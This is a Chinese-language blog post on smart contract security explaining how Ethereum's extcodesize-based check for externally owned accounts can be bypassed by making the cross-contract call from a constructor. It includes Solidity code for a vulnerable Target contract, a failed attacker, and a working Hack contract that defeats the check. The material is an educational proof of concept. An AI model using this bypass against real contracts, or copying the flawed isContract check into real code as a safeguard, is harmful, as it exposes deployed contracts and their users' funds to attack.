收藏区块链合约安全

合约安全:绕开外部用户地址(EOA)检查

2022-12-08  本文已影响0人  梁帆

一、背景

以太坊的地址,可能是外部用户地址(Externally Owned Accounts ,缩写EOA),也可能是合约地址。有时候想要区分这两种地址,或者说,很多时候是限制其他合约地址进行跨合约调用,以防止发生黑客攻击。这会用到一个EVM指令:extcodesize

这个指令可以获取地址关联代码长度

比如下面的这个合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Test {
    function getAddressCodeSize(address account) public view returns (uint size) {
        assembly {
            size := extcodesize(account)
        }
    }
}

contract Demo {
    constructor() {}
}

我们可以测出,Demo合约的长度是63,而一个普通用户的长度为0。

但是存在漏洞,可以绕开EOA检查。

二、漏洞

漏洞就在于,如果攻击合约在构造函数中进行跨合约调用,那么此时的extcodesize返回的关联地址代码长度也为0,即可判定为EOA地址。因为只有当合约的构造函数执行完成,合约代码才会保存下来。

还记得我们之前在《以太坊Transaction中的三种data解析以及bytecode和deployedBytecode的区别》末尾提到过的bytecodedeployedBytecode的区别吗?

bytecode和deployedBytecode 以太坊节点保存的其实是deployedBytecode,它去掉了初次部署才会执行的构造函数代码。

如下合约可以表现出这个漏洞:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

这个合约做了EOA检查,一般的攻击合约如FailedAttack没有办法攻破,但是当Hack中直接在constructor函数里跨合约调用的话,就可以绕过EOA检查了。

上一篇 下一篇

猜你喜欢

热点阅读